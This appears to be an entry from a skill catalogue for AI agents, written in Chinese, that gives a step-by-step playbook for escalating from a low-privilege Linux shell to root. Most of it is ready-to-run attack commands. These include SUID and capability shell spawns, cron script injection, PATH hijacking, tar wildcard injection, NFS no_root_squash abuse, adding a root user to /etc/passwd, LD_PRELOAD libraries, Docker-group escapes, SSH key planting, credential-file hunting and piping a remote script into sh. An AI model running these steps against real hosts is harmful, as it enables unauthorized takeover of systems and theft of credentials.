自动化与脚本
低权限 Linux Shell 下提权到 root…
当你在 Linux 主机上只拿到低权限 shell,需要枚举并利用 SUID/SGID、capabilities、cron、内核漏洞、配置错误或凭据泄露来提权到 root 时使用。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
低权限 Linux Shell 下提权到通用
解决思路
- 先做枚举:用 uname -a 看内核版本,cat /etc/os-release 看发行版,cat /proc/version 看内核编译信息,hostname && id && whoami 确认当前上下文。
- 检查 sudo 与 SUID/SGID:运行 sudo -l 看能以 root 执行什么;用 find / -perm -4000 -type f 2>/dev/null 找 SUID;用 find / -perm -2000 -type f 2>/dev/null 找 SGID;用 getcap -r / 2>/dev/null 找带 capabilities 的文件。
- 检查 cron 与定时器:查看 cat /etc/crontab、ls -la /etc/cron.*、crontab -l、systemctl list-timers --all。
- 检查可写文件与目录:find / -writable -type f 2>/dev/null | grep -v proc;ls -la /etc/passwd /etc/shadow;find / -perm -o+w -type d 2>/dev/null。
- 检查网络与服务:ss -tlnp 看监听端口,cat /proc/net/tcp 看原始 TCP 连接,ps aux 看进程,env 看环境变量里是否有凭据。
- 搜集凭据:查看 ~/.bash_history、~/.mysql_history,搜索 find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -30,以及 find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null。
- SUID/SGID 利用:先用 find / -perm -4000 -type f 2>/dev/null 找到 SUID 二进制,再逐个对照 GTFOBins 的 SUID 章节(注意必须用 SUID 部分,不是所有滥用方式都适用于 SUID)。
- 常见 SUID 快速利用:bash 用 bash -p;find 用 find . -exec /bin/sh -p \; -quit;vim 用 vim -c ':!/bin/sh';python 用 python -c 'import os; os.execl("/bin/sh","sh","-p")';env 用 env /bin/sh -p;旧版 nmap 用 nmap --interactive 后 !sh;awk 用 awk 'BEGIN {system("/bin/sh -p")}';less 打开文件后 !/bin/sh;cp 可复制 /etc/passwd、添加 root 用户再复制回去。
- SUID 二进制共享库劫持:用 ldd /usr/local/bin/suid_binary 查看加载的库,用 strace /usr/local/bin/suid_binary 2>&1 | grep -i "open.*\.so" 找加载路径;若从可写目录加载,则用 gcc -shared -fPIC -o /writable/path/libevil.so evil.c 注入构造函数(__attribute__((constructor)) 中 setuid(0); system("/bin/bash -p"))。
- Capabilities 滥用:用 getcap -r / 2>/dev/null 查找;cap_setuid 可直接 python3 -c 'import os;os.setuid(0);os.system("/bin/bash")';cap_dac_override 可无视权限读写任意文件;cap_dac_read_search 可读任意文件(如 dump /etc/shadow);cap_sys_admin 可挂载文件系统、操作 BPF/namespace;cap_sys_ptrace 可 ptrace 注入 root 进程;cap_net_raw 可嗅探/ARP 欺骗;cap_net_bind_service 可绑定 <1024 端口;cap_fowner 可修改任意文件属主。
- Cron/定时器滥用——可写脚本:用 cat /etc/crontab | grep root 和 ls -la /etc/cron.d/ 找 root 运行的 cron;若 root cron 执行当前用户可写的脚本,则追加 echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /writable/script.sh,等 cron 执行后运行 /tmp/bash -p。
- Cron PATH 劫持:若 crontab 中 PATH 包含用户可写目录(如 PATH=/home/user:/usr/local/bin:/usr/bin)且以 root 运行未写全路径的脚本(如 backup.sh),则在 /home/user/backup.sh 写入 #!/bin/bash 和 cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash,chmod +x 后等待执行。
- Cron 通配符注入(tar):若 cron 运行 tar czf /backup/archive.tar.gz *,在目标目录创建 shell.sh 内容为 cp /bin/bash /tmp/bash && chmod +s /tmp/bash,再创建空文件 "--checkpoint-action=exec=sh shell.sh" 和 "--checkpoint=1",让 tar 把文件名当参数执行。
- 用 pspy 无 root 监控进程:上传 pspy64 或 pspy32 到目标后运行 ./pspy64,观察 cron、服务和后台进程。
- NFS no_root_squash 利用:在攻击机用 showmount -e TARGET_IP 查看导出;若设置了 no_root_squash,则 mount -t nfs TARGET_IP:/share /mnt/nfs,以 root 身份 cp /bin/bash /mnt/nfs/bash 并 chmod +s /mnt/nfs/bash;在目标机运行 /share/bash -p 获得 root shell。
- 可写 /etc/passwd:用 openssl passwd -1 -salt xyz password123 生成哈希,然后 echo 'hacker:$1$xyz$hash:0:0::/root:/bin/bash' >> /etc/passwd 添加 root 等价用户;若无 shadow 文件,也可直接替换 root 的 x 为生成的哈希。
- 可写 /etc/shadow:用 mkpasswd -m sha-512 password123 生成 SHA-512 哈希,替换 /etc/shadow 中 root 的哈希。
- sudo 配合 LD_PRELOAD/LD_LIBRARY_PATH:若 sudo -l 显示 env_keep+=LD_PRELOAD 或 env_keep+=LD_LIBRARY_PATH,则编译带 _init() 调用 setresuid(0,0,0) 和 system("/bin/bash -p") 的 .so(gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c),再执行 sudo LD_PRELOAD=/tmp/pe.so /usr/bin/some_allowed_binary。
- Docker 组提权:用 id 确认当前用户在 docker 组;可 docker run -v /:/mnt --rm -it alpine chroot /mnt sh 挂载宿主机文件系统;或 docker run -v /root:/mnt --rm -it alpine sh -c 'echo "ssh-rsa AAAA..." >> /mnt/.ssh/authorized_keys' 添加 SSH 公钥。
- Python/Perl/Ruby 库劫持:Python 用 python3 -c 'import sys; print("\n".join(sys.path))' 查看路径顺序,在靠前的可写路径放置恶意模块(如 somelib.py 内容为 import os; os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash"));Perl 通过 PERL5LIB/@INC 操纵;Ruby 通过 RUBYLIB/$LOAD_PATH 操纵。
- 使用自动化工具:LinPEAS 用 curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh;linux-exploit-suggester 用 ./linux-exploit-suggester.sh;pspy 用 ./pspy64;LinEnum 用 ./LinEnum.sh -t;GTFOBins 作为 SUID/sudo/capability 滥用参考。
- 按决策树排查:先看 sudo -l(GTFOBins 匹配、env_keep 有 LD_PRELOAD、NOPASSWD 自定义脚本、ALL 需密码时查密码复用/哈希);再看 SUID/SGID(标准二进制查 GTFOBins、自定义二进制用 strace/ltrace 逆向、可写路径加载的共享库做库劫持);再看 capabilities(cap_setuid 直接 root、cap_dac_override 写 /etc/passwd、cap_sys_admin 挂载/namespace、cap_sys_ptrace 进程注入);再看 root cron(可写脚本注入、缺全路径做 PATH 劫持、用通配符做通配符注入);再看可写敏感文件(/etc/passwd、/etc/shadow、systemd unit 文件加 ExecStartPre);再看 Docker/LXD 组;再看 NFS no_root_squash;再看内核版本是否老旧未打补丁;都不行则跑 LinPEAS、查密码复用(bash_history、配置文件)、查内部服务(127.0.0.1 监听)、用 pspy 监控进程找隐藏机会。
适用边界 · 注意事项
- 目标不是 Linux 系统,或你还没有拿到任何低权限 shell 访问权限。
- 目标处于容器内且目标是逃逸到宿主机,应改用 container-escape-techniques 技能。
- 目标有受限 shell、AppArmor、SELinux 或 seccomp 限制,应改用 linux-security-bypass 技能。